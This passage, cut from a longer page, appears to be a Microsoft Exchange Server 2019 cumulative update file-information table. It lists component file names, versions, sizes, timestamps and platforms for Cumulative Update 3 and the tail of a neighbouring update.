01-Jan-2020| 11:21| Not applicable \nSync_modernmailpublicfolders.ps1| Not applicable| 43,961| 01-Jan-2020| 11:20| Not applicable \nTextconversionmodule.dll| 15.2.529.8| 86,392| 01-Jan-2020| 11:21| x64 \nTroubleshoot_ci.ps1| Not applicable| 22,715| 01-Jan-2020| 11:21| Not applicable \nTroubleshoot_databaselatency.ps1| Not applicable| 33,421| 01-Jan-2020| 11:20| Not applicable \nTroubleshoot_databasespace.ps1| Not applicable| 30,321| 01-Jan-2020| 11:20| Not applicable \nUninstall_antispamagents.ps1| Not applicable| 15,461| 01-Jan-2020| 11:21| Not applicable \nUpdateapppoolmanagedframeworkversion.ps1| Not applicable| 14,014| 01-Jan-2020| 11:21| Not applicable \nUpdatecas.ps1| Not applicable| 35,786| 01-Jan-2020| 11:22| Not applicable \nUpdateconfigfiles.ps1| Not applicable| 19,726| 01-Jan-2020| 11:22| Not applicable \nUpdateserver.exe| 15.2.529.8| 3,014,736| 01-Jan-2020| 11:22| x64 \nUpdate_malwarefilteringserver.ps1| Not applicable| 18,144| 01-Jan-2020| 11:21| Not applicable \nWeb.config_053c31bdd6824e95b35d61b0a5e7b62d| Not applicable| 31,813| 01-Jan-2020| 11:20| Not applicable \nWsbexchange.exe| 15.2.529.8| 125,304| 01-Jan-2020| 11:22| x64 \nX400prox.dll| 15.2.529.8| 103,288| 01-Jan-2020| 11:20| x64 \n_search.lingoperators.a| 15.2.529.8| 34,680| 01-Jan-2020| 11:19| Not applicable \n_search.lingoperators.b| 15.2.529.8| 34,680| 01-Jan-2020| 11:19| Not applicable \n_search.mailboxoperators.a| 15.2.529.8| 290,168| 01-Jan-2020| 11:19| Not applicable \n_search.mailboxoperators.b| 15.2.529.8| 290,168| 01-Jan-2020| 11:19| Not applicable \n_search.operatorschema.a| 15.2.529.8| 485,960| 01-Jan-2020| 11:20| Not applicable \n_search.operatorschema.b| 15.2.529.8| 485,960| 01-Jan-2020| 11:20| Not applicable \n_search.tokenoperators.a| 15.2.529.8| 113,536| 01-Jan-2020| 11:20| Not applicable \n_search.tokenoperators.b| 15.2.529.8| 113,536| 01-Jan-2020| 11:20| Not applicable \n_search.transportoperators.a| 15.2.529.8| 68,192| 01-Jan-2020| 11:20| Not applicable \n_search.transportoperators.b| 15.2.529.8| 68,192| 01-Jan-2020| 11:20| Not applicable \n \n## \n\n__\n\nExchange Server 2019 Cumulative Update 3\n\nFile name| File version| File size| Date| Time| Platform \n---|---|---|---|---|--- \nActivemonitoringeventmsg.dll| 15.2.464.10| 71,248| 01-Jan-2020| 10:48| x64 \nActivemonitoringexecutionlibrary.ps1| Not applicable| 29,802| 01-Jan-2020| 10:51| Not applicable \nAdduserstopfrecursive.ps1| Not applicable| 14,925| 01-Jan-2020| 10:50| Not applicable \nAdemodule.dll| 15.2.464.10| 106,360| 01-Jan-2020| 10:48| x64 \nAirfilter.dll| 15.2.464.10| 42,872| 01-Jan-2020| 10:51| x64 \nAjaxcontroltoolkit.dll| 15.2.464.10| 92,536| 01-Jan-2020| 10:47| x86 \nAntispamcommon.ps1| Not applicable| 13,489| 01-Jan-2020| 10:50| Not applicable \nAsdat.msi| Not applicable| 5,087,232| 01-Jan-2020| 10:51| Not applicable \nAsentirs.msi| Not applicable| 77,824| 01-Jan-2020| 10:51| Not applicable \nAsentsig.msi| Not applicable| 73,728| 01-Jan-2020| 10:51| Not applicable \nBigfunnel.bondtypes.dll| 15.2.464.10| 45,432| 01-Jan-2020| 10:48| x86 \nBigfunnel.common.dll| 15.2.464.10| 66,640| 01-Jan-2020| 10:48| x86 \nBigfunnel.configuration.dll| 15.2.464.10| 118,144| 01-Jan-2020| 10:48| x86 \nBigfunnel.entropy.dll| 15.2.464.10| 44,624| 01-Jan-2020| 10:49| x86 \nBigfunnel.filter.dll| 15.2.464.10| 54,144| 01-Jan-2020| 10:50| x86 \nBigfunnel.indexstream.dll| 15.2.464.10| 68,984| 01-Jan-2020| 10:49| x86 \nBigfunnel.neuraltree.dll| Not applicable| 694,144| 01-Jan-2020| 10:48| x64 \nBigfunnel.neuraltreeranking.dll| 15.2.464.10| 20,048| 01-Jan-2020| 10:49| x86 \nBigfunnel.poi.dll| 15.2.464.10| 245,112| 01-Jan-2020| 10:48| x86 \nBigfunnel.postinglist.dll| 15.2.464.10| 189,312| 01-Jan-2020| 10:48| x86 \nBigfunnel.query.dll| 15.2.464.10| 101,248| 01-Jan-2020| 10:49| x86 \nBigfunnel.ranking.dll| 15.2.464.10| 109,640| 01-Jan-2020| 10:49| x86 \nBigfunnel.syntheticdatalib.dll| 15.2.464.10| 3,634,552| 01-Jan-2020| 10:50| x86 \nBigfunnel.tracing.dll| 15.2.464.10| 42,880| 01-Jan-2020| 10:48| x86 \nBigfunnel.wordbreakers.dll| 15.2.464.10| 46,672| 01-Jan-2020| 10:48| x86 \nCafe_airfilter_dll| 15.2.464.10| 42,872| 01-Jan-2020| 10:51| x64 \nCafe_exppw_dll| 15.2.464.10| 83,536| 01-Jan-2020| 10:48| x64 \nCafe_owaauth_dll| 15.2.464.10| 92,024| 01-Jan-2020| 10:47| x64 \nCalcalculation.ps1| Not applicable| 42,393| 01-Jan-2020| 10:51| Not applicable \nCheckdatabaseredundancy.ps1| Not applicable| 94,902| 01-Jan-2020| 10:51| Not applicable \nChksgfiles.dll| 15.2.464.10| 57,216| 01-Jan-2020| 10:51| x64 \nCitsconstants.ps1| Not applicable| 15,801| 01-Jan-2020| 10:51| Not applicable \nCitslibrary.ps1| Not applicable| 82,660| 01-Jan-2020| 10:51| Not applicable \nCitstypes.ps1| Not applicable| 14,760| 01-Jan-2020| 10:51| Not applicable \nClassificationengine_mce| 15.2.464.10| 1,693,776| 01-Jan-2020| 10:50| Not applicable \nClusmsg.dll| 15.2.464.10| 134,016| 01-Jan-2020| 10:50| x64 \nCoconet.dll| 15.2.464.10| 47,992| 01-Jan-2020| 10:49| x64 \nCollectovermetrics.ps1| Not applicable| 81,940| 01-Jan-2020| 10:50| Not applicable \nCollectreplicationmetrics.ps1| Not applicable| 42,162| 01-Jan-2020| 10:51| Not applicable \nCommonconnectfunctions.ps1| Not applicable| 29,931| 01-Jan-2020| 10:49| Not applicable \nComplianceauditservice.exe| 15.2.464.11| 39,800| 01-Jan-2020| 10:51| x86 \nConfigureadam.ps1| Not applicable| 23,060| 01-Jan-2020| 10:50| Not applicable \nConfigurecaferesponseheaders.ps1| Not applicable| 20,604| 01-Jan-2020| 10:49| Not applicable \nConfigurecryptodefaults.ps1| Not applicable| 42,035| 01-Jan-2020| 10:51| Not applicable \nConfigurenetworkprotocolparameters.ps1| Not applicable| 20,106| 01-Jan-2020| 10:49| Not applicable \nConfiguresmbipsec.ps1| Not applicable| 39,824| 01-Jan-2020| 10:49| Not applicable \nConfigure_enterprisepartnerapplication.ps1| Not applicable| 22,279| 01-Jan-2020| 10:50| Not applicable \nConnectfunctions.ps1| Not applicable| 37,417| 01-Jan-2020| 10:50| Not applicable \nConnect_exchangeserver_help.xml| Not applicable| 29,596| 01-Jan-2020| 10:50| Not applicable \nConsoleinitialize.ps1| Not applicable| 24,524| 01-Jan-2020| 10:49| Not applicable \nConvertoabvdir.ps1| Not applicable| 20,349| 01-Jan-2020| 10:50| Not applicable \nConverttomessagelatency.ps1| Not applicable| 14,528| 01-Jan-2020| 10:50| Not applicable \nConvert_distributiongrouptounifiedgroup.ps1| Not applicable| 35,057| 01-Jan-2020| 10:49| Not applicable \nCreate_publicfoldermailboxesformigration.ps1| Not applicable| 28,204| 01-Jan-2020| 10:50| Not applicable \nCts.14.0.microsoft.exchange.data.common.versionpolicy.cfg| Not applicable| 504| 01-Jan-2020| 09:15| Not applicable \nCts.14.1.microsoft.exchange.data.common.versionpolicy.cfg| Not applicable| 504| 01-Jan-2020| 09:15| Not applicable \nCts.14.2.microsoft.exchange.data.common.versionpolicy.cfg| Not applicable| 504| 01-Jan-2020| 09:15| Not applicable \nCts.14.3.microsoft.exchange.data.common.versionpolicy.cfg| Not applicable| 504| 01-Jan-2020| 09:15| Not applicable \nCts.14.4.microsoft.exchange.data.common.versionpolicy.cfg| Not applicable| 504| 01-Jan-2020| 09:15| Not applicable \nCts.15.0.microsoft.exchange.data.common.versionpolicy.cfg| Not applicable| 504| 01-Jan-2020| 09:15| Not applicable \nCts.15.1.microsoft.exchange.data.common.versionpolicy.cfg| Not applicable| 504| 01-Jan-2020| 09:15| Not applicable \nCts.15.2.microsoft.exchange.data.common.versionpolicy.cfg| Not applicable| 504| 01-Jan-2020| 09:15| Not applicable \nCts.15.20.microsoft.exchange.data.common.versionpolicy.cfg| Not applicable| 504| 01-Jan-2020| 09:15| Not applicable \nCts.8.1.microsoft.exchange.data.common.versionpolicy.cfg| Not applicable| 504| 01-Jan-2020| 09:15| Not applicable \nCts.8.2.microsoft.exchange.data.common.versionpolicy.cfg| Not applicable| 504| 01-Jan-2020| 09:15| Not applicable \nCts.8.3.microsoft.exchange.data.common.versionpolicy.cfg| Not applicable| 504| 01-Jan-2020| 09:15| Not applicable \nCts_exsmime.dll| 15.2.464.10| 380,800| 01-Jan-2020| 10:49| x64 \nCts_microsoft.exchange.data.common.dll| 15.2.464.10| 1,686,400| 01-Jan-2020| 10:49| x86 \nCts_microsoft.exchange.data.common.versionpolicy.cfg| Not applicable| 504| 01-Jan-2020| 09:15| Not applicable \nCts_policy.14.0.microsoft.exchange.data.common.dll| 15.2.464.10| 12,672| 01-Jan-2020| 10:50| x86 \nCts_policy.14.1.microsoft.exchange.data.common.dll| 15.2.464.10| 12,880| 01-Jan-2020| 10:50| x86 \nCts_policy.14.2.microsoft.exchange.data.common.dll| 15.2.464.10| 12,880| 01-Jan-2020| 10:49| x86 \nCts_policy.14.3.microsoft.exchange.data.common.dll| 15.2.464.10| 12,672| 01-Jan-2020| 10:50| x86 \nCts_policy.14.4.microsoft.exchange.data.common.dll| 15.2.464.10| 12,904| 01-Jan-2020| 10:50| x86 \nCts_policy.15.0.microsoft.exchange.data.common.dll| 15.2.464.10| 12,664| 01-Jan-2020| 10:50| x86 \nCts_policy.15.1.microsoft.exchange.data.common.dll| 15.2.464.10| 12,904| 01-Jan-2020| 10:49| x86 \nCts_policy.15.2.microsoft.exchange.data.common.dll| 15.2.464.10| 12,880| 01-Jan-2020| 10:50| x86 \nCts_policy.15.20.microsoft.exchange.data.common.dll| 15.2.464.10| 12,872| 01-Jan-2020| 10:49| x86 \nCts_policy.8.0.microsoft.exchange.data.common.dll| 15.2.464.10| 12,880| 01-Jan-2020| 10:50| x86 \nCts_policy.8.1.microsoft.exchange.data.common.dll| 15.2.464.10| 12,880| 01-Jan-2020| 10:50| x86 \nCts_policy.8.2.microsoft.exchange.data.common.dll| 15.2.464.10| 12,880| 01-Jan-2020| 10:50| x86 \nCts_policy.8.3.microsoft.exchange.data.common.dll| 15.2.464.10| 12,872| 01-Jan-2020| 10:50| x86 \nDagcommonlibrary.ps1| Not applicable| 60,226| 01-Jan-2020| 10:51| Not applicable \nDependentassemblygenerator.exe| 15.2.464.10| 22,600| 01-Jan-2020| 10:51| x86 \nDiaghelper.dll| 15.2.464.10| 66,944| 01-Jan-2020| 10:51| x86 \nDiagnosticscriptcommonlibrary.ps1| Not applicable| 16,638| 01-Jan-2020| 10:48| Not applicable \nDisableinmemorytracing.ps1| Not applicable| 13,658| 01-Jan-2020| 10:49| Not applicable \nDisable_antimalwarescanning.ps1| Not applicable| 15,189| 01-Jan-2020| 10:50| Not applicable \nDisable_outsidein.ps1| Not applicable| 13,650| 01-Jan-2020| 10:49| Not applicable \nDisklockerapi.dll| Not applicable| 22,392| 01-Jan-2020| 10:51| x64 \nDlmigrationmodule.psm1| Not applicable| 39,576| 01-Jan-2020| 10:50| Not applicable \nDsaccessperf.dll| 15.2.464.10| 46,160| 01-Jan-2020| 10:47| x64 \nDscperf.dll| 15.2.464.10| 32,848| 01-Jan-2020| 10:52| x64 \nDup_cts_microsoft.exchange.data.common.dll| 15.2.464.10| 1,686,400| 01-Jan-2020| 10:49| x86 \nDup_ext_microsoft.exchange.data.transport.dll| 15.2.464.10| 601,464| 01-Jan-2020| 10:47| x86 \nEcpperfcounters.xml| Not applicable| 30,344| 01-Jan-2020| 10:52| Not applicable \nEdgeextensibility_microsoft.exchange.data.transport.versionpolicy.cfg| Not applicable| 507| 01-Jan-2020| 09:15| Not applicable \nEdgeextensibility_policy.8.0.microsoft.exchange.data.transport.dll| 15.2.464.10| 12,880| 01-Jan-2020| 10:51| x86 \nEdgetransport.exe| 15.2.464.10| 49,528| 01-Jan-2020| 10:51| x86 \nEext.14.0.microsoft.exchange.data.transport.versionpolicy.cfg| Not applicable| 507| 01-Jan-2020| 09:15| Not applicable \nEext.14.1.microsoft.exchange.data.transport.versionpolicy.cfg| Not applicable| 507| 01-Jan-2020| 09:15| Not applicable \nEext.14.2.microsoft.exchange.data.transport.versionpolicy.cfg| Not applicable| 507| 01-Jan-2020| 09:15| Not applicable \nEext.14.3.microsoft.exchange.data.transport.versionpolicy.cfg| Not applicable| 507| 01-Jan-2020| 09:15| Not applicable \nEext.14.4.microsoft.exchange.data.transport.versionpolicy.cfg| Not applicable| 507| 01-Jan-2020| 09:15| Not applicable \nEext.15.0.microsoft.exchange.data.transport.versionpolicy.cfg| Not applicable| 507| 01-Jan-2020| 09:15| Not applicable \nEext.15.1.microsoft.exchange.data.transport.versionpolicy.cfg| Not applicable| 507| 01-Jan-2020| 09:15| Not applicable \nEext.15.2.microsoft.exchange.data.transport.versionpolicy.cfg| Not applicable| 507| 01-Jan-2020| 09:15| Not applicable \nEext.15.20.microsoft.exchange.data.transport.versionpolicy.cfg| Not applicable| 507| 01-Jan-2020| 09:15| Not applicable \nEext.8.1.microsoft.exchange.data.transport.versionpolicy.cfg| Not applicable| 507| 01-Jan-2020| 09:15| Not applicable \nEext.8.2.microsoft.exchange.data.transport.versionpolicy.cfg| Not applicable| 507| 01-Jan-2020| 09:15| Not applicable \nEext.8.3.microsoft.exchange.data.transport.versionpolicy.cfg| Not applicable| 507| 01-Jan-2020| 09:15| Not applicable \nEext_policy.14.0.microsoft.exchange.data.transport.dll| 15.2.464.10| 12,672| 01-Jan-2020| 10:50| x86 \nEext_policy.14.1.microsoft.exchange.data.transport.dll| 15.2.464.10| 12,872| 01-Jan-2020| 10:51| x86 \nEext_policy.14.2.microsoft.exchange.data.transport.dll| 15.2.464.10| 12,672| 01-Jan-2020| 10:51| x86 \nEext_policy.14.3.microsoft.exchange.data.transport.dll| 15.2.464.10| 12,664| 01-Jan-2020| 10:51| x86 \nEext_policy.14.4.microsoft.exchange.data.transport.dll| 15.2.464.10| 12,664| 01-Jan-2020| 10:51| x86 \nEext_policy.15.0.microsoft.exchange.data.transport.dll| 15.2.464.10| 12,872| 01-Jan-2020| 10:51| x86 \nEext_policy.15.1.microsoft.exchange.data.transport.dll| 15.2.464.10| 12,872| 01-Jan-2020| 10:51| x86 \nEext_policy.15.2.microsoft.exchange.data.transport.dll| 15.2.464.10| 12,664| 01-Jan-2020| 10:50| x86 \nEext_policy.15.20.microsoft.exchange.data.transport.dll| 15.2.464.10| 13,176| 01-Jan-2020| 10:51| x86 \nEext_policy.8.1.microsoft.exchange.data.transport.dll| 15.2.464.10| 12,672| 01-Jan-2020| 10:49| x86 \nEext_policy.8.2.microsoft.exchange.data.transport.dll| 15.2.464.10| 12,872| 01-Jan-2020| 10:51| x86 \nEext_policy.8.3.microsoft.exchange.data.transport.dll| 15.2.464.10| 12,664| 01-Jan-2020| 10:51| x86 \nEnableinmemorytracing.ps1| Not applicable| 13,660| 01-Jan-2020| 10:50| Not applicable \nEnable_antimalwarescanning.ps1| Not applicable| 17,859| 01-Jan-2020| 10:50| Not applicable \nEnable_basicauthtooauthconverterhttpmodule.ps1| Not applicable| 18,588| 01-Jan-2020| 10:49| Not applicable \nEnable_crossforestconnector.ps1| Not applicable| 18,930| 01-Jan-2020| 10:50| Not applicable \nEnable_outlookcertificateauthentication.ps1| Not applicable| 22,912| 01-Jan-2020| 10:50| Not applicable \nEnable_outsidein.ps1| Not applicable| 13,643| 01-Jan-2020| 10:50| Not applicable \nEngineupdateserviceinterfaces.dll| 15.2.464.10| 17,792| 01-Jan-2020| 10:51| x86 \nEscprint.dll| 15.2.464.10| 20,352| 01-Jan-2020| 10:51| x64 \nEse.dll| 15.2.464.10| 3,741,776| 01-Jan-2020| 10:51| x64 \nEseback2.dll| 15.2.464.10| 350,072| 01-Jan-2020| 10:49| x64 \nEsebcli2.dll| 15.2.464.10| 318,536| 01-Jan-2020| 10:51| x64 \nEseperf.dll| 15.2.464.10| 108,920| 01-Jan-2020| 10:52| x64 \nEseutil.exe| 15.2.464.10| 425,336| 01-Jan-2020| 10:51| x64 \nEsevss.dll| 15.2.464.10| 44,416| 01-Jan-2020| 10:51| x64 \nEtweseproviderresources.dll| 15.2.464.10| 101,448| 01-Jan-2020| 10:50| x64 \nEventperf.dll| 15.2.464.10| 59,768| 01-Jan-2020| 10:50| x64 \nExchange.depthtwo.types.ps1xml| Not applicable| 40,417| 01-Jan-2020| 10:50| Not applicable \nExchange.format.ps1xml| Not applicable| 649,998| 01-Jan-2020| 10:49| Not applicable \nExchange.partial.types.ps1xml| Not applicable| 44,319| 01-Jan-2020| 10:49| Not applicable \nExchange.ps1| Not applicable| 20,791| 01-Jan-2020| 10:49| Not applicable \nExchange.support.format.ps1xml| Not applicable| 26,535| 01-Jan-2020| 10:51| Not applicable \nExchange.types.ps1xml| Not applicable| 365,457| 01-Jan-2020| 10:49| Not applicable \nExchangeudfcommon.dll| 15.2.464.10| 122,744| 01-Jan-2020| 10:50| x86 \nExchangeudfs.dll| 15.2.464.10| 272,760| 01-Jan-2020| 10:51| x86 \nExchmem.dll| 15.2.464.10| 86,600| 01-Jan-2020| 10:47| x64 \nExchsetupmsg.dll| 15.2.464.10| 19,320| 01-Jan-2020| 10:50| x64 \nExdbfailureitemapi.dll| Not applicable| 27,000| 01-Jan-2020| 10:51| x64 \nExdbmsg.dll| 15.2.464.10| 230,784| 01-Jan-2020| 10:49| x64 \nExeventperfplugin.dll| 15.2.464.10| 25,464| 01-Jan-2020| 10:52| x64 \nExmime.dll| 15.2.464.10| 364,920| 01-Jan-2020| 10:51| x64 \nExportedgeconfig.ps1| Not applicable| 27,387| 01-Jan-2020| 10:50| Not applicable \nExport_mailpublicfoldersformigration.ps1| Not applicable| 18,894| 01-Jan-2020| 10:50| Not applicable \nExport_modernpublicfolderstatistics.ps1| Not applicable| 29,150| 01-Jan-2020| 10:50| Not applicable \nExport_outlookclassification.ps1| Not applicable| 14,682| 01-Jan-2020| 10:49| Not applicable \nExport_publicfolderstatistics.ps1| Not applicable| 23,421| 01-Jan-2020| 10:50| Not applicable \nExport_retentiontags.ps1| Not applicable| 17,336| 01-Jan-2020| 10:49| Not applicable \nExppw.dll| 15.2.464.10| 83,536| 01-Jan-2020| 10:48| x64 \nExprfdll.dll| 15.2.464.10| 26,488| 01-Jan-2020| 10:52| x64 \nExrpc32.dll| 15.2.464.10| 2,029,440| 01-Jan-2020| 10:49| x64 \nExrw.dll| 15.2.464.10| 28,032| 01-Jan-2020| 10:48| x64 \nExsetdata.dll| 15.2.464.10| 2,779,728| 01-Jan-2020| 10:51| x64 \nExsetup.exe| 15.2.464.11| 35,200| 01-Jan-2020| 10:51| x86 \nExsetupui.exe| 15.2.464.11| 472,136| 01-Jan-2020| 10:51| x86 \nExtrace.dll| 15.2.464.10| 245,112| 01-Jan-2020| 10:47| x64 \nExt_microsoft.exchange.data.transport.dll| 15.2.464.10| 601,464| 01-Jan-2020| 10:47| x86 \nExwatson.dll| 15.2.464.10| 44,920| 01-Jan-2020| 10:47| x64 \nFastioext.dll| 15.2.464.10| 60,288| 01-Jan-2020| 10:51| x64 \nFil06f84122c94c91a0458cad45c22cce20| Not applicable| 784,632| 01-Jan-2020| 10:52| Not applicable \nFil143a7a5d4894478a85eefc89a6539fc8| Not applicable| 1,909,119| 01-Jan-2020| 10:52| Not applicable \nFil19f527f284a0bb584915f9994f4885c3| Not applicable| 648,794| 01-Jan-2020| 10:52| Not applicable \nFil1a9540363a531e7fb18ffe600cffc3ce| Not applicable| 358,405| 01-Jan-2020| 10:51| Not applicable \nFil220d95210c8697448312eee6628c815c| Not applicable| 303,657| 01-Jan-2020| 10:51| Not applicable \nFil2cf5a31e239a45fabea48687373b547c| Not applicable| 652,626| 01-Jan-2020| 10:52| Not applicable \nFil397f0b1f1d7bd44d6e57e496decea2ec| Not applicable| 784,629| 01-Jan-2020| 10:52| Not applicable \nFil3ab126057b34eee68c4fd4b127ff7aee| Not applicable| 784,605| 01-Jan-2020| 10:52| Not applicable \nFil41bb2e5743e3bde4ecb1e07a76c5a7a8| Not applicable| 149,154| 01-Jan-2020| 10:51| Not applicable \nFil51669bfbda26e56e3a43791df94c1e9c| Not applicable| 9,345| 01-Jan-2020| 10:52| Not applicable \nFil558cb84302edfc96e553bcfce2b85286| Not applicable| 85,259| 01-Jan-2020| 10:52| Not applicable \nFil55ce217251b77b97a46e914579fc4c64| Not applicable| 648,788| 01-Jan-2020| 10:51| Not applicable \nFil5a9e78a51a18d05bc36b5e8b822d43a8| Not applicable| 1,596,145| 01-Jan-2020| 10:47| Not applicable \nFil5c7d10e5f1f9ada1e877c9aa087182a9| Not applicable| 1,596,145| 01-Jan-2020| 10:47| Not applicable \nFil6569a92c80a1e14949e4282ae2cc699c| Not applicable| 1,596,145| 01-Jan-2020| 10:47| Not applicable \nFil6a01daba551306a1e55f0bf6894f4d9f| Not applicable| 648,764| 01-Jan-2020| 10:51| Not applicable \nFil8863143ea7cd93a5f197c9fff13686bf| Not applicable| 648,794| 01-Jan-2020| 10:52| Not applicable \nFil8a8c76f225c7205db1000e8864c10038| Not applicable| 1,596,145| 01-Jan-2020| 10:47| Not applicable \nFil8cd999415d36ba78a3ac16a080c47458| Not applicable| 784,635| 01-Jan-2020| 10:51| Not applicable \nFil97913e630ff02079ce9889505a517ec0| Not applicable| 1,596,145| 01-Jan-2020| 10:47| Not applicable \nFilaa49badb2892075a28d58d06560f8da2| Not applicable| 785,659| 01-Jan-2020| 10:51| Not applicable \nFilae28aeed23ccb4b9b80accc2d43175b5| Not applicable| 648,791| 01-Jan-2020| 10:51| Not applicable \nFilb17f496f9d880a684b5c13f6b02d7203| Not applicable| 784,635| 01-Jan-2020| 10:52| Not applicable \nFilb94ca32f2654692263a5be009c0fe4ca| Not applicable| 2,564,949| 01-Jan-2020| 10:51| Not applicable \nFilbabdc4808eba0c4f18103f12ae955e5c| Not applicable| 342,710,221| 01-Jan-2020| 10:51| Not applicable \nFilc92cf2bf29bed21bd5555163330a3d07| Not applicable| 652,644| 01-Jan-2020| 10:52| Not applicable \nFilcc478d2a8346db20c4e2dc36f3400628| Not applicable| 784,635| 01-Jan-2020| 10:51| Not applicable \nFild26cd6b13cfe2ec2a16703819da6d043| Not applicable| 1,596,145| 01-Jan-2020| 10:47| Not applicable \nFilf2719f9dc8f7b74df78ad558ad3ee8a6| Not applicable| 785,641| 01-Jan-2020| 10:51| Not applicable \nFilfa5378dc76359a55ef20cc34f8a23fee| Not applicable| 1,427,187| 01-Jan-2020| 10:51| Not applicable \nFilteringconfigurationcommands.ps1| Not applicable| 18,231| 01-Jan-2020| 10:49| Not applicable \nFilteringpowershell.dll| 15.2.464.10| 223,104| 01-Jan-2020| 10:51| x86 \nFilteringpowershell.format.ps1xml| Not applicable| 29,652| 01-Jan-2020| 10:51| Not applicable \nFiltermodule.dll| 15.2.464.10| 180,304| 01-Jan-2020| 10:48| x64 \nFipexeuperfctrresource.dll| 15.2.464.10| 15,224| 01-Jan-2020| 10:51| x64 \nFipexeventsresource.dll| 15.2.464.10| 45,136| 01-Jan-2020| 10:51| x64 \nFipexperfctrresource.dll| 15.2.464.10| 32,632| 01-Jan-2020| 10:51| x64 \nFirewallres.dll| 15.2.464.10| 72,576| 01-Jan-2020| 10:49| x64 \nFms.exe| 15.2.464.10| 1,350,216| 01-Jan-2020| 10:51| x64 \nForefrontactivedirectoryconnector.exe| 15.2.464.10| 111,184| 01-Jan-2020| 10:51| x64 \nFpsdiag.exe| 15.2.464.10| 19,024| 01-Jan-2020| 10:51| x86 \nFsccachedfilemanagedlocal.dll| 15.2.464.10| 822,136| 01-Jan-2020| 10:51| x64 \nFscconfigsupport.dll| 15.2.464.10| 56,912| 01-Jan-2020| 10:51| x86 \nFscconfigurationserver.exe| 15.2.464.10| 431,208| 01-Jan-2020| 10:51| x64 \nFscconfigurationserverinterfaces.dll| 15.2.464.10| 15,744| 01-Jan-2020| 10:51| x86 \nFsccrypto.dll| 15.2.464.10| 208,760| 01-Jan-2020| 10:51| x64 \nFscipcinterfaceslocal.dll| 15.2.464.10| 28,536| 01-Jan-2020| 10:51| x86 \nFscipclocal.dll| 15.2.464.10| 38,480| 01-Jan-2020| 10:50| x86 \nFscsqmuploader.exe| 15.2.464.10| 453,504| 01-Jan-2020| 10:51| x64 \nGetucpool.ps1| Not applicable| 19,767| 01-Jan-2020| 10:49| Not applicable \nGetvalidengines.ps1| Not applicable| 13,566| 01-Jan-2020| 10:51| Not applicable \nGet_antispamfilteringreport.ps1| Not applicable| 15,793| 01-Jan-2020| 10:49| Not applicable \nGet_antispamsclhistogram.ps1| Not applicable| 14,639| 01-Jan-2020| 10:49| Not applicable \nGet_antispamtopblockedsenderdomains.ps1| Not applicable| 15,711| 01-Jan-2020| 10:50| Not applicable \nGet_antispamtopblockedsenderips.ps1| Not applicable| 14,759| 01-Jan-2020| 10:50| Not applicable \nGet_antispamtopblockedsenders.ps1| Not applicable| 15,482| 01-Jan-2020| 10:50| Not applicable \nGet_antispamtoprblproviders.ps1| Not applicable| 14,689| 01-Jan-2020| 10:50| Not applicable \nGet_antispamtoprecipients.ps1| Not applicable| 14,794| 01-Jan-2020| 10:49| Not applicable \nGet_dleligibilitylist.ps1| Not applicable| 42,332| 01-Jan-2020| 10:50| Not applicable \nGet_exchangeetwtrace.ps1| Not applicable| 29,251| 01-Jan-2020| 10:50| Not applicable \nGet_publicfoldermailboxsize.ps1| Not applicable| 15,322| 01-Jan-2020| 10:50| Not applicable \nGet_storetrace.ps1| Not applicable| 51,871| 01-Jan-2020| 10:51| Not applicable \nHuffman_xpress.dll| 15.2.464.10| 32,640| 01-Jan-2020| 10:48| x64 \nImportedgeconfig.ps1| Not applicable| 77,240| 01-Jan-2020| 10:50| Not applicable \nImport_mailpublicfoldersformigration.ps1| Not applicable| 29,812| 01-Jan-2020| 10:49| Not applicable \nImport_retentiontags.ps1| Not applicable| 29,114| 01-Jan-2020| 10:50| Not applicable \nInproxy.dll| 15.2.464.10| 85,888| 01-Jan-2020| 10:52| x64 \nInstallwindowscomponent.ps1| Not applicable| 34,519| 01-Jan-2020| 10:51| Not applicable \nInstall_antispamagents.ps1| Not applicable| 17,913| 01-Jan-2020| 10:49| Not applicable \nInstall_odatavirtualdirectory.ps1| Not applicable| 18,259| 01-Jan-2020| 10:51| Not applicable \nInterop.activeds.dll.4b7767dc_2e20_4d95_861a_4629cbc0cabc| 15.2.464.10| 107,392| 01-Jan-2020| 10:47| Not applicable \nInterop.adsiis.dll.4b7767dc_2e20_4d95_861a_4629cbc0cabc| 15.2.464.10| 20,352| 01-Jan-2020| 10:51| Not applicable \nInterop.certenroll.dll| 15.2.464.10| 142,920| 01-Jan-2020| 10:47| x86 \nInterop.licenseinfointerface.dll| 15.2.464.10| 14,416| 01-Jan-2020| 10:51| x86 \nInterop.netfw.dll| 15.2.464.10| 34,384| 01-Jan-2020| 10:47| x86 \nInterop.plalibrary.dll| 15.2.464.10| 72,576| 01-Jan-2020| 10:47| x86 \nInterop.stdole2.dll.4b7767dc_2e20_4d95_861a_4629cbc0cabc| 15.2.464.10| 27,216| 01-Jan-2020| 10:51| Not applicable \nInterop.taskscheduler.dll| 15.2.464.10| 46,696| 01-Jan-2020| 10:47| x86 \nInterop.wuapilib.dll| 15.2.464.10| 61,008| 01-Jan-2020| 10:51| x86 \nInterop.xenroll.dll| 15.2.464.10| 39,808| 01-Jan-2020| 10:51| x86 \nKerbauth.dll| 15.2.464.10| 63,056| 01-Jan-2020| 10:51| x64 \nLicenseinfointerface.dll| 15.2.464.10| 643,448| 01-Jan-2020| 10:51| x64 \nLpversioning.xml| Not applicable| 19,954| 01-Jan-2020| 10:51| Not applicable \nMailboxdatabasereseedusingspares.ps1| Not applicable| 31,904| 01-Jan-2020| 10:51| Not applicable \nManagedavailabilitycrimsonmsg.dll| 15.2.464.10| 138,824| 01-Jan-2020| 10:49| x64 \nManagedstorediagnosticfunctions.ps1| Not applicable| 126,533| 01-Jan-2020| 10:51| Not applicable \nManagescheduledtask.ps1| Not applicable| 36,632| 01-Jan-2020| 10:51| Not applicable \nManage_metacachedatabase.ps1| Not applicable| 51,298| 01-Jan-2020| 10:49| Not applicable \nMce.dll| 15.2.464.10| 1,693,776| 01-Jan-2020| 10:50| x64 \nMeasure_storeusagestatistics.ps1| Not applicable| 29,779| 01-Jan-2020| 10:51| Not applicable \nMerge_publicfoldermailbox.ps1| Not applicable| 22,915| 01-Jan-2020| 10:49| Not applicable \nMicrosoft.database.isam.dll| 15.2.464.10| 128,080| 01-Jan-2020| 10:50| x86 \nMicrosoft.dkm.proxy.dll| 15.2.464.10| 25,984| 01-Jan-2020| 10:47| x86 \nMicrosoft.exchange.activemonitoring.activemonitoringvariantconfig.dll| 15.2.464.10| 68,688| 01-Jan-2020| 10:47| x86 \nMicrosoft.exchange.activemonitoring.eventlog.dll| 15.2.464.10| 17,792| 01-Jan-2020| 10:49| x64 \nMicrosoft.exchange.addressbook.service.dll| 15.2.464.11| 233,544| 01-Jan-2020| 